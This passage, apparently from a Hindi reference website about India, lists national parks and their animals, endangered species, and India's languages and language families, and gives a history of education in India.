एक सींग वाला गैंडा, गौर, चीता, जंगली सूअर, जंगली भैंसा, बघेरा, आदि
|
11
|
खंगचंदाजेंदा राष्ट्रीय उद्यान, गंगटोक
|
सिक्किम
|
बघेरा, लाल पांडा, जंगली गधा, पहाड़ी भालू, हिरण, भेड़ आदि
|
12
|
नागरहोल राष्ट्रीय उद्यान, कुर्ग
|
कर्नाटक
|
हाथी, चीता, तेंदुआ, चीतल, सांभर, भालू, तीतर, चकोर आदि
|
13
|
नवेगाँव राष्ट्रीय उद्यान, भंडारे
|
महाराष्ट्र
|
चीता, तेंदुआ, भालू, जंगली भैंसा, चीतल, सांभर, आदि
|
14
|
रोहला राष्ट्रीय उद्यान, कुल्लू
|
हिमाचल प्रदेश
|
पहाड़ी तेंदुआ, भूरा भालू, कस्तूरी हिरण, पहाड़ी मुर्गे, पहाड़ी कबूतर आदि
|
15
|
शिवपुरी(माधव) राष्ट्रीय उद्यान,
|
मध्य प्रदेश
|
चीता,चीतल, तेंदुआ, बघेरा, लकड़बग्घा, भालू, सांभर, चौसिंगा, नीलगाय,आदि
|
16
|
ताड़ोबा राष्ट्रीय उद्यान, चन्द्रपुर
|
महाराष्ट्र
|
चीता, तेंदुआ, भालू, गौर, सांभर, नीलगाय, चीतल, चिंकारा आदि
|
17
|
दाचीगम राष्ट्रीय उद्यान, श्रीनगर
|
जम्मू और कश्मीर
|
तेंदुआ, काला भालू, लाल भालू, हिरण, हंगुल आदि
|
18
|
डम्पा टाइगर रिजर्व, आईजोल
|
मिज़ोरम
|
हाथी, चीता
|
19
|
गरम पानी अभयारण्य, दिफ
|
असम
|
हाथी, जंगली भैंसा, बघेरा, लंगूर,
|
20
|
केवलादेव घाना पक्षी विहार, भरतपुर
|
राजस्थान
|
चीतल, सांभर, काला हिरण, जंगली सूअर, साइबेरियन सारस, मुर्ग़ाबी, हरियल आदि
|
21
|
गौतम बुद्ध अभयारण्य, गया
|
बिहार
|
चीता, तेंदुआ, बघेरा, सांभर, हिरण, चीतल, आदि
|
22
|
इन्टांकी अभयारण्य, कोहिमा
|
नागालैंड
|
हाथी, गौर, जंगली सूअर, चीता, तेंदुआ, हिरण, पक्षी एवं सांप आदि
|
23
|
कावला अभयारण्य, आदिलाबाद
|
आंध्र प्रदेश
|
चीता, तेंदुआ, चीतल, सांभर, जंगली सूअर, गौर, भालू आदि
|
24
|
मालापट्टी पक्षी विहार, नैल्लोर
|
आंध्र प्रदेश
|
फाख़्ता, मुर्ग़ाबी, हरियल, बत्तख़, जलकाक आदि
|
25
|
मानस अभयारण्य, बारपेट
|
असम
|
हाथी, चीता, एक सींग का गैंडा, बघेरा, गौर, जंगली सूअर, भालू, सांभर आदि
|
26
|
मुदुमलाई अभयारण्य, नीलगिरी
|
तमिलनाडु
|
हाथी, चीता, तेंदुआ, चीतल, सांभर, गौर, हिरण, जंगली कुत्ते आदि
|
27
|
नामडाफा अभयारण्य, तिरप
|
अरुणाचल प्रदेश
|
चीता, तेंदुआ, बघेरा, हाथी, गौर, जंगली भैंसा, हिरण, सांप आदि
|
28
|
पलामू अभयारण्य, डालटेनगंज
|
झारखण्ड
|
हाथी, तेंदुआ, बघेरा, जंगली सूअर, चीतल, सांभर, हिरण, गौर, आदि
|
29
|
रणथम्भौर टाइगर प्रोजेक्ट, सवाई माधोपुर
|
राजस्थान
|
बाघ, चीता, तेंदुआ, शेर, लकड़बग्घा, सांभर आदि
|
30
|
सरिस्का अभयारण्य, अलवर
|
राजस्थान
|
चीता, तेंदुआ, लकड़बग्घा, चीतल, सांभर, नीलगाय, चिंकारा, चौसिंगा, जंगली बिल्ली आदि
|
31
|
सिमिलीपाल अभयारण्य, मयूरगंज
|
उड़ीसा
|
हाथी, चीता, तेंदुआ, बघेरा, गौर, चीतल आदि
|
32
|
सुन्दरवन टाइगर रिजर्व, चौबीस परगना
|
पश्चिम बंगाल
|
चीता, हिरण, जंगली सूअर, मगर आदि
|
|
बाघ और गज अभयारण्य
अभयारण्य
|
राज्य
|
|
संकटग्रस्त जीव-जन्तु
क्रम
|
सामान्य नाम
|
वैज्ञानिक नाम
|
देश का क्षेत्र जहाँ वे पाए जाते हैं
|
स्तनपायी
|
1
|
सिंहपुच्छी बंदर
|
मकाका साइलेनस
|
पश्चिमी घाटी में सदाबहार वन
|
2
|
सुनहरा लंगूर
|
प्रेसबाइटिस गोई
|
असम, भूटान के साथ हिमालय की तराई
|
3
|
दृढ़लोभी खरगोश
|
केप्रोलेगस हिसपिडस
|
हिमालय की तराई, असम
|
4
|
भारतीय डालफिन
|
प्लेटेनिस्टा इंडी
|
गंगा और ब्रह्मपुत्र नदियाँ
|
5
|
मालाबार बड़ा धारीदार मुश्क बिलाव
|
विवेरा मेंगास्पिला
|
केरल का तटवर्ती क्षेत्र
|
6
|
एशियाई शेर
|
पैंथरा लियो
|
गिर राष्ट्रीय उद्यान
|
7
|
तेंदुआ
|
पैंथरा पार्डस
|
सम्पूर्ण भारत में
|
8
|
बाघ
|
पैंथरा टाइग्रिस
|
सम्पूर्ण भारत में
|
9
|
हिम तेंदुआ
|
पैंथरा अंसिया
|
लद्दाख से सिक्किम तक उच्च हिमालय में
|
10
|
भारतीय हाथी
|
एलिफास मेक्सिमस
|
उत्तर प्रदेश से मेघालय तक हिमालय की तराई/बिहार, झारखण्ड, उड़ीसा और दक्षिण के चार राज्य
|
11
|
भारतीय जंगली गधा
|
इक्कस हैमियोनस
|
कच्छ का रण
|
12
|
पिगमी सुअर
|
सस सल्वानियस
|
मानस बाघ रिज़र्व तथा उसके आसपास का क्षेत्र
|
13
|
दलदली हिरण
|
सरक्स डयूबासेली
|
उत्तर प्रदेश से असम तथा उत्तरी और पूर्वी भारत के तराई और दोआब क्षेत्र और कान्हा राष्ट्रीय उद्यान से मध्य प्रदेश में बस्तर तक
|
14
|
हंगुल
|
सरक्स एलेफ्स
|
कश्मीर घाटी का उत्तरी भाग
|
15
|
मणिपुरी ब्रो एंटलर्ड हिरण
|
सरक्स एल्डी
|
काइबुल लामजाओ राष्ट्रीय उद्यान, मणिपुर
|
16
|
जंगली एशियाई जल भैंसा
|
बुवालस बुबालिस
|
असम, अरुणाचल प्रदेश, मध्य प्रदेश, पूर्वी महाराष्ट्र पश्चिमी उड़ीसा के तराई क्षेत्र
|
पक्षी
|
1
|
सफ़ेद पंखों वाला जंगली बत्तख
|
कैरिना स्कुटूलाटा
|
असम के पूर्वी ज़िले और अरुणाचल प्रदेश का कुछ भाग
|
2
|
चीर फीजेन्ट
|
केट्रेयस बलिची
|
कश्मीर, हिमाचल प्रदेश, गढ़वाल और कुमाऊं
|
3
|
वेस्टन ट्रेगोपान
|
ट्रेगोपान मेलानोसेफलेस
|
कश्मीर, हिमाचल प्रदेश, गढ़वाल और कुमाऊं
|
4
|
भारतीय सोहन चिड़िया
|
अर्डे-ओटिस नाईग्रिसेप्स
|
राजस्थान के मरु क्षेत्र
|
5
|
जोर्डन कर्सर
|
कर्सेरियस विटोक्वेटस
|
आंध्र प्रदेश
|
सरीसृप
|
1
|
एस्च्यूरियन घड़ियाल
|
क्रोकोडायलस पोरोरासस
|
भारत का पूर्वी समुद्र तट और अंडमान व निकोबार द्वीप समूह
|
2
|
घड़ियाल
|
गेबिथोलिस गंजेटिक्स
|
गंगा, महानदी, ब्रह्मपुत्र दक्षिण-पश्चिम बंगाल
|
3
|
रिवर टेरापिन
|
बटागुर बास्का
|
|
|
वन्य जीवन प्रकृति की अमूल्य देन है। भविष्य में वन्य प्राणियों की समाप्ति की आशंका के कारण भारत में सर्वप्रथम 7 जुलाई, 1955 को वन्य प्राणी दिवस मनाया गया । यह भी निर्णय लिया गया कि प्रत्येक वर्ष दो अक्तूबर से पूरे सप्ताह तक वन्य प्राणी सप्ताह मनाया जाएगा। वर्ष 1956 से वन्य प्राणी सप्ताह मनाया जा रहा है। भारत के संरक्षण कार्यक्रम की आवश्यकताओं को पूरा करने के लिए एक मज़बूत संस्थागत ढांचे की रचना की गयी है । जूलॉजिकल सर्वे ऑफ इण्डिया, बोटेनिकल सर्वे आफ इण्डिया जैसी प्रमुख संस्थाओं तथा भारतीय वन्य जीवन संस्थान, भारतीय वन्य अनुसंधान एवं शिक्षा परिषद, इंदिरा गांधी राष्ट्रीय वन अकादमी तथा सलीम अली स्कूल ऑफ आरिन्थोलॉजी जैसे संस्थान वन्य जीवन संबंधी शिक्षा और अनुसंधान कार्य में लगे हैं।
भारत कई प्रकार के जंगलों जीवों का, अनेक पेड़ पौधों और पशु-पक्षियों का घर है। शानदार हाथी, मोर का नाच, ऊँट की सैर, शेरों की दहाड़ सभी एक अनोखे अनुभव है। यहाँ के पशु पक्षियों को अपने प्राकृतिक निवासस्थान में देखना आनन्दायक है। भारत में जंगली जीवों को देखने पर्यटक आते हैं। यहाँ जंगली जीवों की बहुत बड़ी संख्या है। भारत में 70 से अधिक राष्ट्रीय उद्यान और 400 जंगली जीवों के अभयारण्य है और पक्षी अभयारण्य भी हैं।
प्रकृति प्रेमियों के लिए यह जंगल स्वर्ग है परन्तु अब यहाँ के कुछ जीव जैसे चीते, शेर, हाथी, बंगाल के शेर और साइबेरियन सारस अब ख़तरे में है। भारत की लम्बाई और चौडाई में फैला यह जंगल क्षेत्र, रणथम्भोर राष्ट्रीय उद्यान, राजस्थान से हज़ारी बाघ जंगली जीव अभयारण्य, बिहार से, हिमालय के जिम कोर्बेट राष्ट्रीय उद्यान, अन्डमान के छह राष्ट्रीय उद्यानों तक एक शानदार जंगल की सैर कर सकते हैं। हाथी, चीते, जंगली भैंसा, याक, हिरन, जंगली गधे एक सींग वाला गेंड़ा, साही, हिम चीते आदि जन्तु हिमालय में दिखने को मिलते हैं।
भारत में, विश्व के अस्सी, प्रतिशत एक सींग वाले गेंड़ों का निवास है। काज़ीरंगा खेल अभयारण्य गेंड़ों के लिए उपयुक्त निवास है और प्राकृतिक संस्थाओं के लिए और जंगली सैर करने वाले के लिए भी अच्छी जगह है। भारत के सोन चिड़िया और ब्लैक बक, करेश अभयारण्य में होते हैं। माधव राष्ट्रीय उद्यान में, जो शिवपुरी राष्ट्रीय उद्यान कहलाता था, जीवों का एक निवास है। कोर्बोट राष्ट्रीय उद्यान सबसे प्रसिद्ध है्। उत्तर भारत में जंगली जानवरों के पर्यटकों के लिए अच्छी जगह है। ऐसे अभयारण्य और राष्ट्रीय उद्यान, भारत में काफ़ी संख्या में हैं। भारत में शेरों (बाघ) की संख्या बहुत थी। भारत का राष्ट्रीय पशु, शेर, तेजी और ताक़त का चिन्ह है। भारत में बारह बाघ निवास है। शाही बंगाल के बाघ, सबसे शानदार जाति के पशुओं में से है। विश्व के साठ प्रतिशत शेरों की संख्या भारत में रही है। मध्य प्रदेश, शेरों के निवास की सबसे प्रसिद्ध जगह है। यहाँ बंगाल के शेर, चीतल, चीते, गौर, साम्भर और कई जीव देखने को मिलते हैं।
भारत में जंगली जीवों के साथ-साथ, पक्षियों की भी संख्या अच्छी है। कई सौ जातियों के पक्षी भारत में मिलते हैं। घना राष्ट्रीय उद्यान या भरतपुर पक्षी अभयारण्य (राजस्थान) में घरेलू पक्षी और ज़मीन पर जीने वाले पक्षी भी हैं। दुधवा जंगली जीव अभ्यारण में बंदर, गिद्ध और चील पक्षी भी है। अंडमान के निकोबर में भी कबूतर पाये जाते हैं।
भारत का वन्य जीवन
- संसार में पौधों की 2,50,000 ज्ञात प्रजातियों में से 15,000 प्रजातियां भारत में मिलती हैं।
- इस प्रकार संसार में जीव-जन्तुओं की कुल 15 लाख प्रजातियों में से 75,000 प्रजातियां भारत में पाई जाती हैं।
- भारत में पक्षियों की 1,200 प्रजातियां और 900 उप-प्रजातियां पाई जाती हैं।
- भारत के सुविख्यात पक्षियों में बहुरंगी राष्ट्रीय पक्षी मोर उल्लेखनीय है।
- पांच फुट की ऊंचाई वाला भव्य सारस तथा संसार का दूसरा सबसे भारी पक्षी हुकना (सोहनचिड़िया) महत्त्वपूर्ण पक्षी हैं।
- संसार में प्रसिद्ध केवलादेव (भरतपुर) के राष्ट्रीय उद्यान में ढाई लाख पक्षियों का घर है।
भारतीय भाषा परिवार
भारत की मुख्य विशेषता यह है कि यहाँ विभिन्नता में एकता है। भारत में विभिन्नता का स्वरूप न केवल भौगोलिक है, बल्कि भाषायी तथा सांस्कृतिक भी है। एक रिपोर्ट के अनुसार भारत में 1652 मातृभाषायें प्रचलन में हैं, जबकि संविधान द्वारा 22 भाषाओं को राजभाषा की मान्यता प्रदान की गयी है। संविधान के अनुच्छेद 344 के अंतर्गत पहले केवल 15 भाषाओं को राजभाषा की मान्यता दी गयी थी, लेकिन 21वें संविधान संशोधन के द्वारा सिन्धी को तथा 71वाँ संविधान संशोधन द्वारा नेपाली, कोंकणी तथा मणिपुरी को भी राजभाषा का दर्जा प्रदान किया गया। बाद में 92वाँ संविधान संशोधन अधिनियम, 2003 के द्वारा संविधान की आठवीं अनुसूची में चार नई भाषाओं बोडो, डोगरी, मैथिली तथा संथाली को राजभाषा में शामिल कर लिया गया। इस प्रकार अब संविधान में 22 भाषाओं को राजभाषा का दर्जा प्रदान किया गया है। भारत में इन 22 भाषाओं को बोलने वाले लोगों की कुल संख्या लगभग 90% है। इन 22 भाषाओं के अतिरिक्त अंग्रेज़ी भी सहायक राजभाषा है और यह मिज़ोरम, नागालैण्ड तथा मेघालय की राजभाषा भी है। कुल मिलाकर भारत में 58 भाषाओं में स्कूलों में पढ़ायी की जाती है। संविधान की आठवीं अनुसूची में उन भाषाओं का उल्लेख किया गया है, जिन्हें राजभाषा की संज्ञा दी गई है।
भारत में 4 भाषा–परिवार
भाषा-परिवार
|
भारत में बोलने वालों का %
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भारोपीय
|
73%
|
द्रविड़
|
25%
|
आस्ट्रिक
|
1.3%
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चीनी–तिब्बती
|
0.7%
|
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भारतीय आर्यभाषा को तीन काल
नाम
|
प्रयोग काल
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उदाहरण
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1.प्राचीन भारतीय आर्यभाषा
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1500 ई. पू.– 500 ई. पू.
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वैदिक संस्कृत व लौकिक संस्कृत
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2.मध्यकालीन भारतीय आर्यभाषा
|
500 ई. पू.– 1000 ई.
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पालि, प्राकृत, अपभ्रंश
|
3.आधुनिक भारतीय आर्यभाषा
|
1000 ई.– अब तक
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हिन्दी और हिन्दीतर भाषाएँ – बांग्ला, उड़िया, मराठी, सिंधी, असमिया, गुजराती, पंजाबी आदि।
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1.प्राचीन भारतीय आर्यभाषा
नाम
|
प्रयोग काल
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अन्य नाम
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वैदिक संस्कृत
|
1500 ई. पू.– 1000 ई. पू.
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छान्दस् (यास्क, पाणिनि)
|
लौकिक संस्कृत
|
1000 ई. पू.- 500 ई. पू.
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संस्कृत भाषा (पाणिनि)
|
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2.मध्यकालीन भारतीय आर्यभाषा
नाम
|
प्रयोग काल
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विशेष टिप्पणी
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प्रथम प्राकृत काल– पालि
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500 ई. पू.– 1 ली ई.
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भारत की प्रथम देश भाषा, भगवान बुद्ध के सारे उपदेश पालि में ही हैं।
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द्वितीय प्राकृत काल– प्राकृत
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1 ली ई.– 500 ई.
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भगवान महावीर के सारे उपदेश प्राकृत में ही हैं।
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तृतीय प्राकृत काल– अपभ्रंश अवहट्ट
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500 ई.– 1000 ई.
900 ई. – 1100 ई.
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संक्रमणकालीन/ संक्रान्तिकालीन भाषा
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3.आधुनिक भारतीय आर्यभाषा (हिन्दी)
नाम
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प्रयोग काल
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प्राचीन हिन्दी
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1100 ई. पू.– 1400 ई. पू.
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मध्यकालीन हिन्दी
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1400 ई. पू.- 1850 ई. पू.
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आधुनिक हिन्दी
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1850– अब तक
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भारतीय भाषा सूची
भाषा
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लिपि
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क्षेत्र
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प्रयोगकर्ता जनसंख्या
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असमिया
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असमिया लिपि मूलत: ब्राह्मी लिपि का ही एक विकसित रूप है।
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असम राज्य की राजभाषा
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एक करोड़ तीस लाख
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बांग्ला
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बांग्ला ("বাংলা") लिपि मूलत: ब्राह्मी लिपि और असमिया लिपि का विकसित रूप है।
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यह बांग्लादेश और भारत के पश्चिम बंगाल, असम तथा त्रिपुरा राज्यों में बोली जाती है।
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20 करोड़ से अधिक
|
गुजराती
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गुजराती ("ગુજરાતી") नागरी लिपि का नया प्रवाही स्वरूप नवीन गुजराती को इंगित करता है।
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गुजरात राज्य की राजभाषा
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तीन करोड़ से अधिक
|
हिन्दी
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ब्राह्मी लिपि, देवनागरी लिपि, नागरी और फ़ारसी लिपि,
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उत्तरी भारत, मॉरिशस व अन्य देश
|
33.727 करोड़
|
कन्नड़
|
कन्नड़ ("ಕನ್ನಡ") कन्नड़ लिपि का विकास अशोक की ब्राह्मी लिपि के दक्षिणी प्रकारों से हुआ है।
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कर्नाटक राज्य की राजभाषा
|
470 लाख
|
कश्मीरी
|
ऐतिहासिक रूप से कश्मीरी भाषा को चार लिपियों में लिखा जाता है, शारदा, देवनागरी, फ़ारसी-अरबी और रोमन।
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कश्मीर की भाषा
|
3,174,684
|
कोंकणी
|
कोंकणी अनेक लिपियों में लिखी जाती रही है; जैसे - देवनागरी, कन्न्ड, मलयालम और रोमन।
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कोंकणी गोवा, महाराष्ट्र के दक्षिणी भाग, कर्नाटक के उत्तरी भाग, केरल के कुछ क्षेत्रों में बोली जाती है।
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1,522,684
|
मलयालम
|
मलयालम ("മലയാളം") में शलाका लिपि
|
मलयालम भाषा मुख्यतः दक्षिण-पश्चिमी तटीय राज्य केरल में बोली जाती है, यह केरल और केंद्रशासित प्रदेश लक्षद्वीप की राजभाषा है; लेकिन सीमावर्ती कर्नाटक और तमिलनाडु के द्विभाषी समुदाय के लोग भी यह भाषा बोलते हैं।
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लगभग तीन करोड़ साठ लाख
|
मणिपुरी
|
इस भाषा की अपनी लिपि है, जिसे स्थानीय लोग मेइतेई माएक कहते हैं।
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मुख्यतः पूर्वोत्तर भारत के लिए मणिपुर राज्य में बोली जाने वाली भाषा है। यह असम, मिज़ोरम, त्रिपुरा, बांग्लादेश और म्यांमार में भी बोली जाती है।
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लगभग 11 लाख 80 हज़ार
|
मराठी
|
"मराठी" भाषा को लिखने के लिए देवनागरी और इसके प्रवाही स्वरुप मोदी, दोनों लिपियों का उपयोग होता है।
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महाराष्ट्र की राजभाषा है। इसे बोलने का मानक स्वरुप पुणे (भूतपूर्व पूना) शहर की बोली है। यह भाषा गोवा, कर्नाटक, गुजरात में बोली जाती है। केन्द्रशासित प्रदेशों में यह दमन और दीव , और दादरा तथा नगर हवेली में भी बोली जाती है।
|
लगभग 9 करोड़
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नेपाली
|
"नेपाली"
|
यह भाषा नेपाल के अतिरिक्त भारत के सिक्किम, पश्चिम बंगाल, उत्तर-पूर्वी राज्यों आसाम, मणिपुर, अरुणाचल प्रदेश, मेघालय तथा उत्तराखण्ड के अनेक लोगों की मातृभाषा है।
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160 लाख
|
उड़िया
|
उड़िया ("ଓରିୟା")
|
उड़ीसा राज्य की राजभाषा
|
310 लाख
|
पंजाबी
|
पंजाबी ("ਪੰਜਾਬੀ")
|
पंजाबी भाषा भारत तथा पाकिस्तान में बोली जाती है।
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लगभग ढाई करोड़
|
संस्कृत
|
"संस्कृत"
|
|
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सिंधी
|
सिंधी भाषा मुख्यत: दो लिपियों में लिखी जाती है, अरबी-सिंधी लिपि
|
भारत, पाकिस्तान
|
लगभग 22 लाख
|
तमिल
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तमिल ("தமிழ்") ऐतिहासिक रूप से तमिल लेखन प्रणाली का विकास ब्राह्मी लिपि से वट्टे-लुटटु (मुड़े हुए अक्षर) और कोले-लुट्टु (लम्बाकार अक्षर) के स्थानीय रूपांतरणों के साथ हुआ।
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तमिलनाडु की राजभाषा
|
विश्वभर में पाँच करोड़ से अधिक बोलने वालों में से लगभग 90% भारत में।
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उर्दू
|
उर्दू ("اردو") के लिए फ़ारसी-अरबी लिपि प्रयुक्त होती
|
28,600,428
|
भारत, पाकिस्तान
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तेलुगु
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तेलुगु ("తెలుగు")
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आन्ध्र प्रदेश की सरकारी भाषा
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750 लाख
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बोडो
|
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बोडो भाषा को भारत के उत्तरपूर्व, नेपाल और बांग्लादेश में रहने वाले बोडो लोग बोलते हैं।
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डोगरी
|
इसकी अपनी लिपि है, जिसे डोगरा अख्खर या डोगरे कहते हैं।
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जम्मू-कश्मीर राज्य की दूसरी मुख्य भाषा
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लगभग 15 लाख
|
मैथिली
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पहले इसे मिथिलाक्षर तथा कैथी लिपि में लिखा जाता था जो बांग्ला और असमिया लिपियों से मिलती थी पर कालान्तर में देवनागरी लिपिका प्रयोग होने लगा ।
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मैथिली भाषा उत्तरी बिहार और नेपाल के तराई के ईलाक़ों में बोली जाने वाली भाषा है।
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1 से 1.2 करोड़ लोग
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संथाली
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झारखण्ड, असम, बिहार, उड़ीसा, त्रिपुरा, और पश्चिम बंगाल
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10 से 30 प्रतिशत
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शिक्षा
1911 में भारतीय जनगणना के समय साक्षरता को परिभाषित करते हुए कहा गया है कि "एक पत्र पढ़-लिखकर उसका उत्तर दे देने की योग्यता" साक्षरता है।
प्राचीन काल
हम यह स्पष्ट कर देना चाहते हैं कि भारत ने जितना ॠण ग्रहण किया है, उतना ही अथवा उससे भी अधिक उसने प्रदान किया है। भारत के प्रति विश्व के ॠण का सारांश इस प्रकार है-
सम्पूर्ण दक्षिण-पूर्व एशिया को अपनी अधिकांश संस्कृति भारत से प्राप्त हुई। ईसा पूर्व पाँचवीं शताब्दी के प्रारम्भ में पश्चिमी भारत के उपनिवेशी लंका में बस गये, जिन्होंने अशोक के राज्यकाल में बौद्ध धर्म स्वीकार कर लिया। इस समय तक कुछ भारतीय व्यापारी सम्भवतया मलाया, सुमात्रा तथा दक्षिण-पूर्व एशिया के अन्य भागों में आने जाने लगे थे। धीरे धीरे उन्होंने स्थायी अपनिवेश स्थापित कर लिए। इसमें संदेह नहीं कि प्राय: उन्होंने स्थानीय स्त्रियों से विवाह किये। व्यापारियों के पश्चात वहाँ ब्राह्मण तथा बौद्ध भिक्षुक पहुँचे और भारतीय प्रभाव ने शनै: शनै: वहाँ की स्वदेशी संस्कृति को जाग्रत किया। यहाँ तक कि चौथी शताब्दी में संस्कृत उस क्षेत्र की राजभाषा हो गयी और वहाँ ऐसी महान सभ्यताएँ विकसित हुईं जो विशाल समुद्रतटीय साम्राज्यों का संगठन करने तथा जावा में बरोबदूर का बुद्ध स्तूप अथवा कम्बोडिया में अंगकोर के शैव मंदिर जैसे आश्चर्यजनक स्मारक निर्मित करने में समर्थ हुई। दक्षिण-पूर्व एशिया में अन्य सांस्कृतिक प्रभाव चीन एवं इस्लामी संसार द्वारा अनुभव किए गये परन्तु सभ्यता की प्रारम्भिक प्रेरणा भारत से ही प्राप्त हुई
भारतीय इतिहासकार जो अपने देश के अतीत पर गर्व करते हैं प्राय: इस क्षेत्र को 'वृहत्तर भारत' का नाम देते हैं तथा भारतीय उपनिवेशों का वर्णन करते हैं। अपने सामान्य अर्थ में 'उपनिवेश' शब्द युक्तिसंगत नहीं जान पड़ता है फिर भी यह कहा जाता है कि पौराणिक आर्य विजेता विजय ने तलवार के बल से लंका द्वीप पर विजय प्राप्त की थी। इसके अतिरिक्त भारत की सीमा के बाहर किसी स्थायी भारतीय विजय का कोई वास्तविक प्रमाण उपलब्ध नहीं है। भारतीय उपनिवेश शान्तिप्रिय थे और उन क्षेत्रों के भारतीय नृपति स्वदेशी सेनापति थे। जिन्होंने भारत से ही सारी शिक्षा ग्रहण की थी।- बाशम [49]
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भारत में लम्बे समय से लिखित भाषा का अस्तित्व है, किन्तु प्रत्यक्ष सूचना के अभाव के कारण इसका संतोषजनक विकास नहीं हुआ। हड़प्पा और मोहनजोदड़ो की लेखन चित्रलिपि तीन हज़ार वर्ष ईसा पूर्व और बाद की है। यद्यपि अभी तक इस लिपि को पढ़ा नहीं जा सका है, तथापि इससे यह स्पष्ट है कि भारतीयों के पास कई शताब्दियों पहले से ही एक लिखित भाषा थी और यहाँ के लोग पढ़ और लिख सकते थे। हड़प्पा और अशोक के काल के बीच में पन्द्रह सौ वर्षों का ऐसा समय रहा है, जिसमें की कोई लिखित प्रमाण नहीं मिलता। लेकिन पाणिनि ने उस समय भारतीयों के द्वारा बोली जाने वाली विभिन्न भाषाओं का उल्लेख किया है। बुद्ध के समय में और उनसे भी पहले इस देश में भाषा के 60 से भी अधिक रूपों को जाना जाता था तथा शाक्यमुनि ने लेखन की एक पद्धति की शिक्षा दी थी। भारत के एक राष्ट्र के रूप में विकसित होने से पहले संस्कृत भाषा एकता का महत्त्वपूर्ण कारक थी।
यदि यह मान भी लिया जाए कि उस समय देश की सम्पूर्ण आबादी की एक तिहाई से ज़्यादा ऊँची जातियों की आबादी नहीं थी तो भी यह माना जा सकता है कि अशोक के समय में भारत में दो करोड़ से ज़्यादा लोग शिक्षित थे (यह मानते हुए कि उस समय की जनसंख्या में लगभग 1/5 छोटी आयु वाले बच्चे थे तथा सभी लड़कियाँ शिक्षा प्राप्त नहीं कर रही थीं)। यह संख्या बहुत अधिक प्रतीत नहीं होती, क्योंकि उस भारत की जनसंख्या पूरी मानवता के एक-तिहाई के लगभग थी। अतः उस समय के शिक्षित लोगों की संख्या इससे अधिक रही होगी और यह उस समय की सबसे कम संख्या ही मानी जा सकती है। आरम्भ में महिलाओं के लिए भी शिक्षा अनिवार्य थी, लेकिन समय के साथ उनकी विवाह आयु कम होती गई और इस वजह से महिलाओं की शिक्षा में बाधा आई, उसे प्रतिबन्धित कर दिया गया।[50]
सल्तनत काल
अलग-अलग भाषाओं और लिपियों में लिखे गए अशोक के प्रसिद्ध शासनादेश भारत के विभिन्न भागों में शिलालेख के रूप में थे। ये शासनादेश जनता को सम्बोधित थे, जिसका मतलब है कि जनता उन्हें पढ़ एवं समझ सकती थी।
उत्तर भारत की मुस्लिम विजय भी एक निश्चित सीमा तक साक्षरता और शिक्षा में कमी आने के लिए उत्तरदायी है। यदि हम युद्धों के एवं तनावों के घातक परिणामों का उल्लेख न करें तो भी भारत में इस्लाम की विजय से एक सीमा तक जनता की शिक्षा में गिरावट आई, जो पहले महिलाओं के कारण लिख एवं पढ़ सकते थे। वैदिक युग में एक कन्या की विवाह की आयु 16 से 18 वर्ष थी; 12वीं सदी में यह आयु 12-14 हो गई और आगे चलकर तो यह 7-9 हो गई, इसका परिणाम यह हुआ कि महिलाओं के लिए तो शिक्षा के दरवाज़े बन्द ही कर दिये गए।
औपनिवेश काल
शिक्षा की यूरोपीय शैली स्थापित करने के बाद देश के बजट का केवल 1.7% शिक्षा पर ख़र्च किया गया। यह उपनिवेशकालीन भारत में शिक्षा की स्थिति को बताने के लिए पर्याप्त है कि उस समय लोकप्रिय शिक्षा का स्तर क्या था। "तुर्की सरकार के अपवाद को छोड़कर यूरोप में एक भी सरकार ऐसी नहीं थी, जो लोक-शिक्षा पर इतनी कम राशि व्यय करने वाली हो।"
क्रमवार विकास
भारत में शिक्षा के प्रति रुझान प्राचीन काल से ही देखने को मिलती है। प्राचीन काल में गुरुकुलों, आश्रमों तथा बौद्ध मठों में शिक्षा ग्रहण करने की व्यवस्था होती थी। तत्कालीन शिक्षा केन्द्रों में नालन्दा, तक्षशिला एवं वल्लभी की गणना की जाती है। मध्य काल में शिक्षा मदरसों में प्रदान की जाती थी। मुग़ल काल में प्राथमिक शिक्षा ‘मक़तव’ में दी जाती थी और उच्च शिक्षा मदरसों में दी जाती थी। शिक्षा के यही दो रूप थे, प्राथमिक और उच्च अर्थात माध्यमिक शिक्षा नहीं थी। मुग़ल शासकों ने दिल्ली, अजमेर, लखनऊ एवं आगरा में मदरसों का निर्माण करवाया।
- भारत में आधुनिक व पाश्चात्य शिक्षा की शुरुआत ब्रिटिश ईस्ट इंडिया कम्पनी के शासन काल से हुई। 1813 ई. के चार्टर में सर्वप्रथम भारतीय शिक्षा के प्रचार-प्रसार के लिए एक लाख रुपये की व्यवस्था की गई।
- लोक शिक्षा के लिए स्थापित सामान्य समिति के दस सदस्यों में दो दल बन गये थे। एक आंग्ल या पाश्चात्य विद्या का समर्थक था तो दूसरा प्राच्य विद्या का। प्राच्य विद्या के समर्थकों का नेतृत्व लोक शिक्षा समिति के सचिव एच.टी. प्रिंसेप ने किया जबकि इनका समर्थन समिति के मंत्री एच.एच. विल्सन ने किया। ‘अधोमुखी निस्यंदन सिद्धान्त’, जिसका अर्थ था- शिक्षा समाज के उच्च वर्ग को दी जाये, को सर्वप्रथम सरकारी नीति के रूप में आकलैण्ड ने लागू किया। ‘वुड डिस्पैच’ के पहले तक इस सिद्धान्त के तहत भारतीयों को शिक्षित किया गया।
- बोर्ड ऑफ कन्ट्रोल के प्रधान चार्ल्स वुड ने 19 जुलाई, 1854 को भारतीय शिक्षा पर एक व्यापक योजना प्रस्तुत की जिसे ‘वुड का डिस्पैच’ कहा जाता है।
- वुड के घोषणा-पत्र द्वारा शिक्षा के क्षेत्र में हुई प्रगति की समीक्षा हेतु 1882 ई. में सरकार ने डब्ल्यू. हंटर की अध्यक्षता में एक आयोग की नियुक्ति की इस आयोग में 8 सदस्य भारतीय थे। आयोग को प्राथमिक एवं माध्यमिक शिक्षा की समीक्षा तक ही सीमित कर दिया गया था।
- 1917 ई. में कलकत्ता विश्वविद्यालय की समस्याओं के अध्ययन के लिए डॉ. एम.ई. सैडलर के नेतृत्व में एक आयोग गठित किया गया।
- 1929 ई. में ‘भारतीय परिनीति आयोग ने सर फिलिप हार्टोग के नेतृत्व में शिक्षा के विकास पर रिपोर्ट हेतु एक सहायक समिति का गठन किया गया। समिति ने प्राथमिक शिक्षा के महत्त्व की बात की। हार्टोग समिति की सिफारिश के आधार पर 1935 में ‘केन्द्रीय शिक्षा सलाहकार बोर्ड’ का पुनर्गठन किया गया।
